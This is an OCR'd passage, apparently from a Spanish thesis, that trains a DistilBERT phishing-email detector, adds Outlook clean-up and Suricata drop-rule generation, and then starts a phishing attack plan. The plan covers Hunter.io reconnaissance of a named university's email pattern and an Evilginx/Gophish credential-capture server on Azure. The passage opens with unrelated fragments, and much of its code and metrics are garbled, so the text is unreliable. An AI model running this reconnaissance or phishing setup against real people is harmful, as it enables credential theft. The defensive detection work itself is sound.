mas amplia de contextos, e. gramo. , llamar desde lejos para llamar la
atencion de alguien y, por tanto, al principio de una expresion, mientras que
's on' parece mas natural en expresiones como 'si, hijo, ‘pasame eso, hijo’
que en expresiones como 'si, hijo, 'pasame eso, hijo" " hijo! ' o' hijo,
ayldame !'' (aunque quizas estos Ultimos no sean del todo imposibles).
alexis sefior

the other side of * galicismos * * galicismo * is a spanish term which
names the improper introduction of french words which are spanish
sounding and thus very deceptive to the ear . * galicismo * is often
considered to be a * barbarismo * . what would be the term which
designates the opposite phenomenon , that is unlawful words of spanish
origin which may have crept into french ? can someone provide examples ?
thank you joseph m kozono < kozonoj @ gunet . georgetown . edu >

La Figura 57 ilustra los resultados de los procesos de exploracién y visualizacién,
de la misma manera en la Figura 58 se muestran las cantidades de correo segun el tipo y

el idioma respectivamente. Estas etapas son cruciales para obtener una comprension
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inicial de la estructura y caracteristicas del conjunto de datos, que seran Utiles para el
analisis en los siguientes pasos.

Figura 57

Representacion de emails segun su tipo

Distribucion de Emails

10000 A

8000

6000 A

Cantidad

4000 4

2000 A

Safe Email Phishing Email

Tipo de Email

Figura 58

Representacion de emails segun el idioma

Distribucion de Emails

Idioma

T

T T T
0 2000 4000 6000 8000
Cantidad
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Después de la etapa de obtencion de datos se continta con los procedimientos de
preprocesamiento en la cual se realizan acciones de normalizacion y eliminacion de
elementos no deseados tales como: caracteres especiales, nUmeros y simbolos. También

se normalizan la existencia de espacios multiples (ver Figura 59).

Figura 59

Funcion de normalizacion de datos

clean text(text):
if pd.isna(text):
return

wn

text = str(text).encode( 'ascii’, "ignore’).decode( ascii’)
return text.strip()

En el siguiente proceso se ejecutan métodos de preprocesamiento que consiste
esencialmente en generar uniformidad de la informacién y mejorar la calidad de la entrada

para el entrenamiento del modelo.

La Figura 60 muestra las acciones de ajuste, eliminacion de celdas en el conjunto

de datos asociadas a la funcion de preprocesamiento de datos

Figura 60

Funcidn de preprocesamiento de datos

def load and prepare data(filepath):
# Ca datos cor (plicit
data = pd.read csv(filepath, encoding="utf-8")

Imnas CU ¢ A Ira

data.columns = ['Numero', 'Texto Correo', 'Tipo Correo’, ‘Idioma’]

20" ].apply(clean text)

# Fi ltrar f

data = data[data['T

netac (

data[ "label’] = data[ 'Tipo Correo']. IENLGER'H if ‘safe’ in str(x).lower() else 1)

return data
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Posteriormente, se aplica un método de balanceo de datos esto debido a la menor
proporcién de correos de tipo phishing en el conjunto de datos, como se muestra en la
Figura 57. El método combina técnicas de submuestreo y sobremuestreo con el fin de
equilibrar las clases del conjunto de datos. Para ello, se reduce los correos seguros a un
80% de su tamafio original por medio de un submuestreo aplicado de manera aleatoria.
Paralelamente, se incrementa el tamafo de las muestras de correo de phishing de manera
que alcance un numero equivalente al 90% de las muestras de correo seguro Figura 61.

Esta aproximacion de datos se realiza con el fin de mejorar la generalizacion del modelo.

Figura 61

Balanceo del conjunto de datos

balance data(data):
phishing = data[data|'label’]
safe = data[data['label'] == @]

majority size = int(len(safe) * 0.8)
safe_downsampled = resample(safe,
replace= c
n_samples=majority size,
random_state=42)

minority size = int(majority size * ©.9)

phishing upsampled = resample(phishing,
replace= »
n_samples=minority size,
random_state=42)

balanced data = pd.concat([safe downsampled, phishing upsampled])
return balanced_data.sample(frac=1, random_state=42)

Se afiade una funcion para el tratamiento de los datos, en la cual se reasignan el
tipo de dato con el cual sera tratado la columna de ‘Texto Correo’ en la cual se halla el
mensaje. Posteriormente se dividen el conjunto de datos en los subconjuntos de

validacion y pruebas mediante la funcion de (stratify) para mantener la distribucion de las



140

etiquetas, los detalles del codigo que explican los procesos anteriormente mencionados

se ilustran en la Figura 62.

Figura 62

Funcion de division de conjunto de datos

def prepare_datasets(data, tokenizer, max len):

# Verificar y limpiar datos
data[ 'Texto Correo'] = data[ 'Texto Correo’].astype(str)
data[ "label’] = data[ "label’].astype(int)

ir en train vali ion v test

train texts, temp texts, train labels, temp labels = train test split(
data[ 'Texto Correo’].tolist(),
data[ 'label’].tolist(),
test size=0.3,
random_state=42,
stratify=data[ 'label " |.tolist()
)

val texts, test texts, val labels, test labels = train_ test split(
temp texts,
temp labels,
test size=0.5,
random state=42,
stratify=temp labels

En la siguiente parte se trata un aspecto relevante en el contexto del NLP,
mediante el tokenizador de DistilBERT se realiza la conversion de los datos de texto en
un formato idéneo para el entrenamiento del modelo. La funcion presente en la Figura 63
establece los procesos para rellenar secuencias cortas de texto, asi como cortar secuencias
largas de texto, en ambos casos el proceso se encuentra delimitado por el parametro de

max_length.
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Figura 63

Funcion de tokenizacién de datos

tokenize function(examples):
"M MFunc de £
return tokenize

examples[ 't

T
Y

padding=
truncation= ,
max_length=max_len,
return_tensors=

Finalmente se crean los datasets para el entrenamiento, validacion y prueba. En
cada caso se crea también un diccionario que incluye el texto y las etiquetas, a los cuales
se le aplicaran la funcién de tokenizacion. Este proceso se realiza para cada dataset,
ademéas con el propésito de hacer mas eficientemente el trabajo, los procesos
mencionados operan a manera de lotes, a la vez que se eliminan las columnas innecesarias

una vez se haya aplicado la tokenizacion.

La Figura 64 muestra el codigo relacionado a los procesos de creacion de datasets

para el entrenamiento, asi como los procesos de tokenizacién de texto.
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Figura 64

Creacion de datasets y tokenizacion de texto

train_dataset = HFDataset.from dict({
xt': train_texts,
‘labels’: train_labels
)
train dataset = train dataset.map(
tokenize function,
batched= ’
remove columns=[ 't

)

val dataset = HFDataset.from dict({
ext': val texts,
‘labels’: val labels

)

val dataset = val dataset.map(
tokenize function,
batched= s
remove_columns=[ 't

)

test dataset = HFDataset.from dict({
1 test texts,
‘labels’: test labels
)
test dataset = test dataset.map(
tokenize function,
batched= s
remove columns=[ "text']

4.2.1.3 Desarrollo del Modelo

Para el proceso de entrenamiento se establece una funcion que emplea un modelo
de DistilBERT adaptado a la clasificacion de secuencias junto con un optimizador que
mejora la estabilidad y rendimiento del entrenamiento. A través de un proceso de
entrenamiento de 3 épocas, se itera el modelo para determinar en cada ciclo los valores
de perdida y retro propagacion. Dichos valores se registran con el fin de dar una

perspectiva de como evoluciona el aprendizaje del modelo.
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La Figura 65, muestra la definicién de los parametros de entrenamiento, el cual
sefiala que el entrenamiento se efectuara con un lote que cuenta con 16 muestras, la tasa
de aprendizaje serd de un 2e-5, la técnica de optimizacion para warmup ratio sera
equivalente a 0.1 y contara con un indice de decaimiento de 0.1. Ademas de esto se
establece un apartado de monitoreo que evalla el modelo cada 100 pasos y almacena las
métricas cada 50 pasos. Con relacion al Gltimo proceso, se establecen puntos de guardado

de manera periddica y al final se obtiene el mejor modelo.

Figura 65

Definicion de parametros y funcion de entrenamiento

train model(train dataset, val dataset, model, output dir, batch size=16, epochs=3):
training _args = TrainingArguments(
output_dir=output dir,
num_train_epochs=epochs,
per device train batch size=batch size,
per _device eval batch size=batch size,
warmup_ratio=e.1,
weight decay=0.1,
logging_dir=f'{output_dir}/logs’,
logging steps=
eval strategy=
eval steps=100
save strategy=
save steps=1600,
load best model at end= -
metric_for best model='f1°",
save _total limit=2,
push_to_hub= 5
report_to="none",
learning_rate=2e-5,
gradient accumulation steps=2,
fp16= ,
gradient checkpointing=

A continuacion, y como muestra la Figura 66, se define un proceso que detiene la
ejecucion del entrenamiento, siempre y cuando no se observe una mejora en las métricas
de rendimiento, el proceso mencionado precisa de los siguientes parametros.

o early stopping_patience: Hace referencia al numero de epocas que debe esperar

para detener el entrenamiento si no se presentan mejoras del modelo
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o early stopping_threshold: Es el rango minimo de mejora que debe presentar el

modelo con cada iteracion.

Figura 66

Proceso de optimizacién de entrenamiento

early stopping callback = EarlyStoppingCallback(
early stopping patience=3,
early stopping_threshold=0.01

)

trainer = Trainer(
model=model,

args=training_args,

train dataset=train dataset,

eval dataset=val dataset,

compute metrics=compute metrics,
callbacks=[early stopping callback]

Una vez inicializado el entrenamiento, y como se presenta en Figura 67 también

se visualiza su progreso, en este sentido se puede apreciar como a partir del paso 500 el

modelo alcance un balance adecuado, en donde las pérdidas de validacion se van

estabilizando y las métricas de rendimiento alcanzan un rango optimo en el que no se

presentan sobreajustes. En ese sentido se puede decir que en el paso 700 ya se cuenta con

un aprendizaje efectivo del modelo y generalizacion adecuada del mismo, por lo que se

interrumpe el entrenamiento tal y como se lo habia considerado previo al entrenamiento.
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Figura 67

Entrenamiento del modelo

Iniciando entrenamiento...

I [700/940 06:54 < 02:22, 1.68 it/s, Epoch 3/5]

Training Validation

Step Loss Loss

Accuracy F1 Precision Recall

0.322900 0.223671 0913212 0.913189 0.913205 0.913212
0.126700 0.106816 0.961255 0.961266 0.961352 0.961255
0.109700 0.107837 0.959706 0.959730 0.962089 0.959706
0.058800 0.080089 0.974041 0.974058 0.974835 0.974041
0.041000 0.074713 0.976366 0.976380 0.976936 0.976366
0.027900 0.080912 0.974041 0.974057 0.974665 0.974041

0.028300 0.079285 0.976366 0.976379 0.976793 0.976366

Culminado el proceso de entrenamiento se realiza una evaluacion del modelo
empleando el conjunto de prueba reservado, de esta manera se obtiene una estimacion del
rendimiento del modelo en base a las predicciones resultantes de los datos de prueba. Por
medio de una matriz de confusién se determinan los valores de aciertos y errores, estos
pardmetros permiten identificar patrones en la clasificacion. Adicionalmente se genera un
informe de clasificacién en la cual se detallan las métricas de precision, recall y F1-score,

a través de estas métricas se obtiene una comprension del rendimiento del modelo.

Finalmente se almacena tanto el modelo como el tokenizador esto con la idea de
incorporar la funcionalidad de distincion al sistema de deteccion de ataques phishing

basado en correo.

La Figura 68 muestra la fraccion del codigo responsable de los calculos de las
métricas de evaluacién para el modelo de clasificacion binaria de correos electrdnicos,
donde los correos seguros son identificados por el valor de 0 a la vez que los correos

phishing se identifican con el valor de 1.
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Figura 68

Funcidn de evaluacion del modelo

ief compute metrics(pred):
labels = pred.label ids
preds = pred.predictions.argmax(-1)

precision, recall, f1, = precision recall fscore_support(labels, preds, average='v
acc = accuracy_score(labels, preds)

i icas las in promedi
precision_per class, recall per class, f1 per class, support per class = \
precision_recall fscore_ support(labels, preds, average=None)

return

: precision,
recall,
I 5
: precision_per class[@],
all': recall per_class[0],
f1_per _class[o],
~t': support per class[0],

1': precision_per_class[1],
recall per class[1],
: f1_per _class[1],
~t': support_per class[1]

En el campo de la Inteligencia Artificial el método habitual para determinar el
rendimiento del modelo se lo realiza por medio de la matriz de confusion, esta
herramienta permite visualizar de forma mas comprensible el nimero de éxitos y fracasos
registrados en la etapa de evaluacién. Este matriz se integra de filas y columnas que hacen
referencia a valores reales y valores predichos respectivamente.

En este caso, debido al hecho que se opera en funcion a dos tipos de etiquetas
“Safe” y “Phishing” se suscitan cuatro posibles resultados:

e Verdaderos Negativos (VN): Es el nimero de casos en donde el correo pertenece
al del tipo seguro y el modelo lo clasifico como seguro.

e Verdaderos Positivos (VP): Representa el numero de casos en donde el correo
pertenece al tipo phishing y el modelo lo catalogo como phishing.

¢ Falso Negativo (FN): Este caso se produce cuando un correo que pertenece al tipo

seguro es clasificado por el modelo como uno del tipo phishing.
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e Falso Positivo (FP): Sucede cuando el correo que pertenece al tipo phishing es
clasificado por el modelo como uno del tipo seguro.
La Figura 69 muestra el nUmero casos registrados, los cuales fueron obtenidos
producto del analisis efectuado al conjunto de datos asignado para las pruebas
Figura 69

Matriz de confusion resultante del entrenamiento

Matriz de Confusion

Safe

Etiqueta Real

Phishing
)

Phishing

Etiqueta Predicha

Métricas detalladas:
Accuracy: 0.9744

Precision: @.9639
Recall: @.9828
F1-Score: ©.9733

Ademas del hecho que la matriz de confusion es la representacion de los posibles
casos a presentarse, también existen métricas mas relevantes que definen el rendimiento
del modelo y son calculadas a partir los diferentes casos de evaluacion (VP, VN, FP y

FN).
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La Tabla 24 muestra los detalles de las métricas de rendimiento asociadas al
conjunto de datos evaluada.
Tabla 24

Métricas de rendimiento

Prediccion
Safe Phishing
Safe VN: 1314 FP: 45
Phishing FN: 21 VP: 1202

e Precision: Se utiliza una métrica para determinar el porcentaje de casos positivos
correctamente identificados. Esto se calcula dividiendo el nimero de verdaderos
positivos entre el total de resultados positivos, que incluye tanto los verdaderos

positivos como los falsos positivos. EI modelo entrenado muestra una precision

del 97%.
p P 100
= —
VP + FP
1202 00 =96 39
= % =
1202 + 45 =770

e Recuperacion: Es la proporcion de verdaderos positivos en relacion con la suma

de los verdaderos positivos y los falsos negativos.

VP

R=vprrn*100

1202

T e—— e 0,
R 1202_{_21*100 98,28%
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e Puntuacion F1: Es el promedio entre precision y recuperacion. EI desempefio sera
mejor mientras mas se acerque el valor a 1.0.

Precision * Recuperacién

F1 score =2 x — Y
Precision + Recuperacion

1 scor 2 ‘ i ’ 33
F = 2 % =97
score 39 98,28 )

Posteriormente, se generan las graficas de las pérdidas correspondientes al
entrenamiento y validacion con el propdsito de examinar el comportamiento del modelo
durante su desarrollo. A través de esta gréfica, es posible visualizar cdmo, a medida que
aumenta el numero de pasos, existe una disminucion de las perdidas. Es importante
destacar que los valores de perdida se registran cada 100 pasos para el caso de la
validacion y cada 50 pasos para el caso del entrenamiento. Ademas, mediante la
integracion de los procesos de optimizacion y comparacion del valor de f1-score en cada
ciclo, se determina el mejor modelo, a la vez que se reduce el sobreajuste (overfitting) del
modelo.

En la Figura 70 se muestra la gréafica los valores de perdida registrados en cada
época para los conjuntos de datos del entrenamiento y validacién. Se observa que, desde
un inicio, ambos parametros presentan una tendencia decreciente hasta el punto en que se
produce la interrupcion del entrenamiento. Esto indica, en terminaos generales, que el
modelo logro alcanzar una generalizacién adecuada. Un entrenamiento més prolongado

conllevaria al sobreajuste del modelo.
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Figura 70

Gréfica de pérdidas

0.7
—e— Pérdida de Entrenamiento

Pérdida de Validacion

0.6

0.5 1

0.4

Pérdida

0.3 1

0.2

0.1 A

0.0 1

Paso

4.2.1.4  Evaluaciény Pruebas

El proceso de pruebas emplea dos funciones que operan en base al mapeo
etiquetas y el pipeline con el fin de facilitar la inferencia de nuevos textos de correo
electronico. El pipeline permite unificar los procesos de preprocesamiento, tokenizacion
y clasificacion. A su vez el mapeo de etiquetas permite convertir las etiquetas numéricas
a categorias legibles “Safe Email” y “Phishing Email” para mejorar la interpretacion al

momento de visualizar los resultados.

Los detalles de la interpretacion y el fragmento del codigo asociado a los procesos

de inferencia se presentan en la Figura 71.
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Figura 71

Funcién de mapeo de etiquetas y clasificacion de emails

classify email(email text, model path, tokenizer path):

wam W

C a un oni 11110 "0 0 phishing.
model = DistilBertForSequenceClassification.from pretrained(model path)
tokenizer = DistilBertTokenizer.from pretrained(tokenizer path)

inputs = tokenizer(
email text,
padding= ,
truncation= 5
max_length=MAX LEN,
return_tensors="pt"

)

with torch.no grad():
outputs = model (**inputs)
logits = outputs.logits
prediction = torch.argmax(logits, dim=1).item()

if prediction == @:
Safe Email”

return "Phishing Email™
La Figura 72 muestra un ejemplo de inferencia en el cual se emplea los datos del

tokenizador y el modelo resultante del proceso de entrenamiento.

Figura 72

Pruebas de clasificacion

email_ example
URGENT: Y

result = classify email(email_ exampl "{OUTPUT_DIR}/final_model”, f"{OUTPUT_DIR}/final model™)
print(f"El correo fue clasifi result}”)

El correo fue clasificado como: Phishing Email

4.2.2 Cédigo de integracion del sistema de deteccion

Una vez concluido el proceso de preentrenamiento, se procede a la integracion del

modelo resultante en el escenario de simulacion. Esta integracion esté disefiada como un
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proceso capaz de filtrar y gestionar correos potencialmente del tipo phishing, accesible
para cualquier dispositivo que sea capaz de ejecutar un cliente de correo. El sistema
emplea un proceso de inferencia para realizar predicciones en base a los datos de entrada,
que en este caso corresponden a los correos electronicos.

La Figura 73 ilustra el fragmento de codigo implementado para realizar las
pruebas de funcionamiento del sistema. En este segmento, se importan las librerias y
modulos esenciales, de los cuales se destaca principalmente las librerias de
“transformers” necesaria para el procesamiento de lenguaje natural (NLP), “email” que
permite la manipulacion de correos electronicos, “beatifulsoup” empleada para el proceso
de analisis del contenido HTML y “tldextract” para extraer la informacion de las URLS.

Subsecuentemente, se definen las variables necesarias para la carga y
configuracién de los parametros del modelo y del tokenizador, estableciendo asi el
proceso de inferencia.

Figura 73

Configuracién de parametros del modelo

import os

from dotenv import load_dotenv

import httpx

import re

import tldextract

from bs4 import BeautifulSoup

import chardet

from transformers import AutoTokenizer, AutoModelForSequenceClassification, pipeline
from collections import Counter

import subprocess

from mso_api import get_access_token, MS_GRAPH_BASE_URL

from outlook import search_folder, get_messages, get_sub_folders, delete_message
import time

os.environ["TOKENIZERS_PARALLELISM"] = "false"

MODEL_PATH = "/home/eddpic/Escritorio/Tesis/NLP_Process/ModelData"
tokenizer = AutoTokenizer.from_pretrained(MODEL_PATH)

model = AutoModelForSequenceClassification.from_pretrained(MODEL_PATH)
pipe = pipeline("text-classification", model=model, tokenizer=tokenizer)
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El proceso de deteccion opera en base a varias funciones en la que cada uno
desempefia una tarea especifica.

La funcién “decode content” ilustrada en la Figura 74, se encarga de decodificar
el contenido del correo electrénico, empleando varias opciones de codificacion para
interpretar de manera correcta el texto, posteriormente la informacion decodifica pasa a
ser dividida en varios segmentos a los cuales se les aplica procesos para eliminar estilos
y fragmentos de codigo presente en el codigo HTML, finalmente se obtiene el texto plano
del contenido del correo.

Figura 74

Funcion de decodificacion de contenido del correo electrénico

def decode_content(content):

if isinstance(content, bytes):
detected = chardet.detect(content)
encoding = detected['encoding']

try:
content = content.decode(encoding)
except:
for enc in ['utf-8', 'latin-1', 'ascii', 'iso-8859-1']:
try:
content = content.decode(enc)
break
except:
pass

soup = BeautifulSoup(content, 'html.parser')

for script in soup(["script", "style"]):
script.decompose()

plain_text = soup.get_text(separator='\n')
plain_text = re.sub(r'\n\sx\n', '\n', plain_text).strip()

return plain_text
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De la misma manera, la funcion “extract links” presente en la Figura 75 identifica
y extrae los hipervinculos presentes en el contenido del correo electronico, utilizando el
atributo href propias del lenguaje de marcado HTML se extraen los enlaces presentes en
las etiquetas a y link.
Figura 75

Funcidn de extraccion de enlaces

def extract_links(email _content):
soup = BeautifulSoup(email_content, 'html.parser')

urls = set()
for tag in soup.find_all(['a', 'link'], href=True):

url = tag.get('href')
if url and (url.startswith(('http://', 'https://', "www.'))):
urls.add(url)

return list(urls)

La funcion “analyze phishing” emplea la instancia de clasificacion establecida al
momento de configurar los parametros del modelo para evaluar los primeros 512 tokens
del correo electronico. Esta funcion calcula la probabilidad de phishing en basandose en
los tokens y a la etiqueta “LABEL 17, que corresponde a un caso positivo de phishing.
Paralelamente, se evalta los enlaces dentro del correo electronico, calculando la
proporcion de enlaces sospechosos en relacion con el dominio del remitente del correo
electronico. Finalmente, se realiza una ponderacion de estas métricas, asignando un peso
del 65% a la probabilidad de phishing y un 35% a la presencia de enlaces sospechosos

(ver Figura 76).



Figura 76

155

Funcion de analisis de phishing

def analyze phishing(text, sender domain, links):

try:

La

result = pipe(text[:512])
phishing _prob = next((item['score’] for item in result if item['label']
== 'LABEL_1'), 0)

suspicious links = sum{1 for link in links if sender domain not in link)
link_ratio = suspicious_links / len(links) if links else ©

combined prob = (phishing prob * 5) + (link ratio *

return combined prob, phishing prob, link ratio

funcién de “process_malicious_url” presente en la Figura 77 est& disefiada para

manejar los enlaces identificadas como potencialmente peligrosos. Inicialmente, se

limpia la URL eliminando las expresiones regulares que pueden generar inconsistencias

en el contexto. Posteriormente, se agrega a un archivo de texto que actiia como lista negra.

A continuacién, se genera una nueva regla de bloqueo en un formato compatible con el

sistema de deteccion de intrusos Suricata, configurando asi el descarte de trafico http

dirigido a la URL maliciosa.
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Figura 77

Funcion de procesamiento de enlaces

jef process _malicious_url(url):

sanitized_url = re.escape(url).replace('/', r'\/').replace('.', r'

domain = tldextract.extract(url).domain

print(f"Dominio: {domain}")

current_sid = sid

rule = (f'drop tcp any any — any any (msg:"Sitio bloqueado";
f'content:"{domain}"; sid:{current_sid}; rev:1;)\n')

with open('/home/eddpic/Escritorio/Tesis/blacklist.txt', 'r+') as blist_f:
domains set(blist_f.read().splitlines())
if domain not in domains:
blist_f.write(domain + '\n')

with open('/var/lib/suricata/rules/local.rules', 'a') as rules_f:
rules_f.write(rule)

eLse.

print(f"Domain {domain} se encuentra en el blacklist")

print(f"URL bloqueada: {sanitized_url}")

Esta regla se incorpora al archivo de reglas vinculado a la base de Suricata. La
Tabla 25 describe el formato de la regla que se incorporara tanto a la lista negra como a

la base de reglas utilizada por Suricata.

Tabla 25

Formato de reglas de Suricata

Componente Valor
Accion Drop
Protocolo http
Origen any any
Destino any any

Mensaje "Sitio bloqueado”
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Contenido Variable de Dominio
Identificador Unico (SID) Variable de identificador (sid)
NUmero de Revision 1

La Figura 78 muestra la regla generada y almacenada en el archivo de reglas de

Suricata.

Figura 78

Base de reglas de Suricata

(vl nano +

/var/lib/suricata/rules/local.rules

#alert http : > any a
$HOME_NET any (msg
ET any -> $EXTE E ny eb ", flow shed,
any —-> $EXTERNAL_NET : flow:est llshed,to

En la Figura 79 se exhibe la funcion encargada de generar el correo de alerta,
mediante el cual se notifica el nimero de casos phishing detectados durante el analisis.
En términos generales, la funcion establece los pardmetros correspondientes al asunto, el
cuerpo del mensaje, los destinatarios y el nivel de importancia. La estructura de la funcion

esta basada en el formato JSON.
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Figura 79

Funcidn de correo de alerta

def draft message body(subject, counter phishing):
message = {
‘subject': subject,
‘body": {
‘contentType’: 'HTML',
"content’: 'Se han detectado '+str(counter_phishing)+® correos phishing’

s
"toRecipients’: [
{
‘emailAddress’: {
"address’: "f3r @hotmail.com"

b
1
T
1
‘ccRecipients’: [
{
‘emailAddress®: {
‘address’: "T3r @hotmail.com"

3
1
T
15
‘importance’: ‘'high’

}

return message

La funcién “main” actia como componente que integra el resto de las funciones
anteriormente descritas. El proceso inicia con la verificacion de las credenciales del
correo electronico a través de la API de Microsoft, lo cual habilitara la ejecucion de

acciones de lectura y escritura de correos electronicos (ver Figura 80).
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Figura 80

Proceso de acceso a cuenta

Ade

g ON_ID = os.getenv('Al
CLIENT SECRET = os.getenv('CLIENT SECRET')
SCOPES = ['User.Read', 'Mail.ReadWrite’]

url counter = Counter()
counter_phishing = 0

RV

access_token = get access_token(
application_id=APPLICATION_ID,
client_secret=CLIENT SECRET,
scopes=SCOPES

)

headers = {
‘Authorization’': 'Bearer ' + access_token

En la Figura 81 se ejecuta el siguiente paso en lo que respecta al proceso de
conexion a la cuenta de correo, a partir de los métodos resaltados se realiza la
identificacion del subdirectorio al cual se aplicara el analisis de phishing mediante el

modelo.

Figura 81

Blsqueda de subdirectorios en la cuenta de correo

folder_name = ‘'Bandeja de entrada’
target_folder =|search_folder(headers, folder_name)
folder_id = target_folder['id']

~arpe
ca

sub_folders =|get_sub_folders(headers, folder_id)

Una vez obtenido el directorio de analisis se inicializa el método de adquisicion

de correos y por medio de la iteracion de cada correo, se extrae la informacién del
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remitente del correo, decodifica el contenido del mensaje, extrae enlaces y analiza su
contenido (ver Figura 82).
Figura 82

Proceso iterativo de anélisis de phishing

for sub_folder in sub_folders:
if sub_folder[ ‘displayName’].lower() == 'TestEmailModel’.lower():
sub_folder_id = sub_folder['id"]
messages = get messages(headers, sub_folder_id)
for message 1n messages:
time.sleep(1)

url_counter = Counter()
sender = message.get('sender’', {}).get('emailAddress’, {}).get('address’, '")
subject = message.get('subject', ')

body content = message.get('body', {}).get('content’, *")

decoded_body = decode_content(body_content)

print()

links = extract_links(body content)
print(f"Links: {links}")
url_counter.update(links)

sender_domain = tldextract.extract(sender.split('@')[-1]).domain
print(f"Sender domain: {sender_domain}")

combined prob, model prob, link ratio = analyze phishing(
decoded_body,
sender_domain,
links)

Finalmente, y una vez que culmine el analisis de phishing se procede a ejecutar
las contramedidas en las que se incluye la generacion de las reglas de Suricatay la
eliminacion de los correos categorizados como phishing. Ademas, se genera una alerta a
manera de un borrador de correo electrénico en donde se menciona el nimero de casos de

phishing suscitados (ver Figura 83).
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Figura 83

Segmento de codigo asociado a la generacion de alertas y contramedidas

if model prob >
counter_phishing += 1
print("Correo Phishing™)
print()
print("Blocked URLs:")
for url in links:
process malicious url{url)
print(url)
delete message(headers, message["id'])
else:
print("Correo seguro")
counter safe+=1
print()
print{ =
print()
print(f"Total de correos phishing detectados: {counter phishing}™)
print(f"Total de correos seguros: {counter safe}")
print(f"Total de correos: {item}")
subject = "Alerta de Phishing”
message = draft message body(subject, counter phishing)
email data = {"message": message}
endpoint = f'{ ’H_BASE_URL }/me/sendMail’
response = httpx. poat(endpo nt, headers=headers, json-email data)
if response.status code !=
print(f"Error al enviar not1f1cac10n {subject}: {response.text}")
print(response.status code)

4.3 Implementacion del plan de Ataque
4.3.1 Reconocimiento

El siguiente apartado se centra en la recopilacion de datos acerca del blanco del
ataque, por medio de técnicas de Inteligencia de Fuentes Abiertas (OSINT). Para ello, se
empled la herramienta de Hunter.io, la cual permite investigar direcciones de correos
electronicos asociados a entidades u organizaciones y por consiguiente obtener
informacion relevante el de la victima. Para este caso se hace un andlisis del dominio
utn.edu.ec, con el objetivo de identificar el patrén de los correos electronicos de los

individuos que forman parte de dicha organizacion,
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Con base en esta informacidn, se plantean estrategias de Ingenieria Social para
tratar de obtener nueva informacién por medio de ataques dirigidos hacia los puntos mas

vulnerables dentro de la organizacion.

La Figura 84 muestra el proceso de recopilacion de informacién asociada a la
Universidad Técnica del Norte, en el que se identifica el patron de correos electrdnicos.
Asimismo, la Figura 85 muestra un niumero considerable de resultados vinculados con la

organizacién educativa.

Figura 84

Detalles del descubrimiento y recoleccion de correos

Company ~

‘@ |Universidad Técnica del Norte

Universidad Técnica del Norte is a higher education institution offering a variety of academic

programs and degrees.

Email pottern:I{f}{lost}@utn.edu.ec
Accept all: YES®

Industry: Higher Education
Headcount: 1001-5000
Address: |Ibarra, Ecuador

Type: Educational




Figura 85

Detalles de la busqueda de dominio
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Domain Search @

fa [utn.edu.ec

Type 0 v Department Q v

380 results

Il BEE H EEE

@utn.edu.ec
94%

- Assistant Professor [

4.3.2 Desarrollo de Recursos

utn.edu.ec Q

Show only results with 0 v

® Find by name v

Save as lead %

Add to a campaign

En el siguiente proceso se preparan las herramientas y servicios necesarios para

ejecutar el ataque. Para ello, se inicia con el despliegue del entorno destinado a la

elaboracion de sefiuelos y a la captura de credenciales de inicio de sesion, utilizando

Evilginx. Paralelamente se configura la herramienta de Gophish para la creacion y gestion

de las campanas de phishing. Como complemento a la simulacion del ataque, se configura

un dominio fraudulento, que sera empleado tanto por Evilginx como por Gophish

Los aspectos mencionados anteriormente se ejecutaran de manera secuencial,

partiendo desde la creacion de una maquina virtual en la nube, seguida de la instalacion

y configuracién de las herramientas. Ademas, se elabora un segmento centrado en la

creacion del dominio fraudulento.
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4.3.2.1 Instalacion de Evilginx

Para el despliegue de Evilginx, se opt6 por utilizar la plataforma de servicios en
la nube Azure, propietaria de Microsoft. Una vez dentro del entorno de Azure, se procede
con la creacién de una nueva méaquina virtual, en la cual se instalard el servidor

correspondiente.

Como parte del proceso, se generd un nuevo proyecto en el cual se establecen el
modelo de suscripcién y el grupo de recursos a cual se asociara el proyecto. Ademas, se
especificaron las caracteristicas de la nueva instancia. En términos generales, se
configuraron los detalles prioritarios, tales como: la imagen que hace referencia a la
plantilla de configuracion del sistema operativo, la region que determina la ubicacion del
centro de datos en donde se alojaran los recursos, y las especificaciones de hardware (ver

Figura 86 y Figura 87).

Figura 86

Configuracion de la instancia de Evilginx - Parte 1

Crear una maquina virtual

0 Haga clic aqui para probar Azure Copilot para oblener recomendacones adicionales al crear una maquina virtual =

Detalles del proyecto

Seleccione la suscripcion para administrar recursos implementados y los costes. Use los grupos de recursos como carpetas para
organizar y administrar todos los recursos.

Suscripcion * (O ‘ Azure for Students hd
Grupo de recursos * (O ‘ (Nuevo)] Pentesting-Phishing N
Crear nuevo

Detalles de instancia
Nombre de maquina virtual * © I Evilginx I

Region * (O ‘ (US) North Central US v

Opciones de disponibilidad © ‘ No se requiere redundancia de la infraestructura hd

Tipo de seguridad O ‘ Estandar o

Imagen * O I © Debian 11 "Bullseye” - x64 gen. 2 ] v

Ver todas las imdgenes | Configurar la generacion de maquinas virtuales
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Figura 87

Configuracion de la instancia de Evilginx - Parte 2

Arquitectura de VM ©

9 x64

@ Am64 no es compatible con Iz imagen seleccionada.

Ejecucion de Azure Spot con descuento

Tamaio * O | Standard_B1s - 1 vcpu, 1 GiB de memoriakUSD 7.59/mes) (servicios gratuite...

Ver todos los tamafos
Habilitar hibernacién (O

@ ¢l tamaiio seleccionado no admite la hibemacién. Elija un tamario compatible con
Hibernar para habilitar esta caracteristica. Mas informacion o
En la seccion destinada al administrador, se fija el método de autentificacion. En
este caso, el inicio de sesion en los servidores remotos se lo realizara por medio de una
clave publica SSH. Este método genera dos tipos de claves: una clave publicay una clave
privada. La clave publica se comparte con el servidor remoto, mientras que la clave
privada se almacena en la maquina del cliente. Solo cuando ambas claves coincidan se

produce el inicio de sesion.

La Figura 88 muestra a detalle las opciones disponibles para la seleccion del

método de autentificacion asociada a la conexidn remota.
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Figura 88

Configuracion de la instancia de Evilginx - Parte 3

Cuenta de administrador

Tipo de autenticacion @© (®)] Clave publica SSH

() Contrasena

o Ahora, Azure genera automaticamente un par de claves SSH y le permite
almacenarlo para usarlo en el futuro. Es una forma rapida, sencilla y segura de
conectarse a la maquina virtual,

Nombre de usuario * © I pentesting-user I

Origen de clave publica SSH ‘ Generar un par de claves nuevo v

Tipo de clave SSH (®) rormato RSA SSH
M
(_J Formato Ed25519 SSH

O Ed25519 ofrece mejor rendimiento y seguridad con un tamano de clave mas
pequerio, mientras que RSA todavia se usa ampliamente, especialmente para
sistemas y aplicaciones heredados.

Nombre de par de claves * I Pentesting-Evilginx I

Anexo al apartado de autentificacion, se habilitan los puertos de entrada del

protocolo SSH (ver Figura 89).

Figura 89

Configuracion de la instancia de Evilginx - Parte 4

Reglas de puerto de entrada
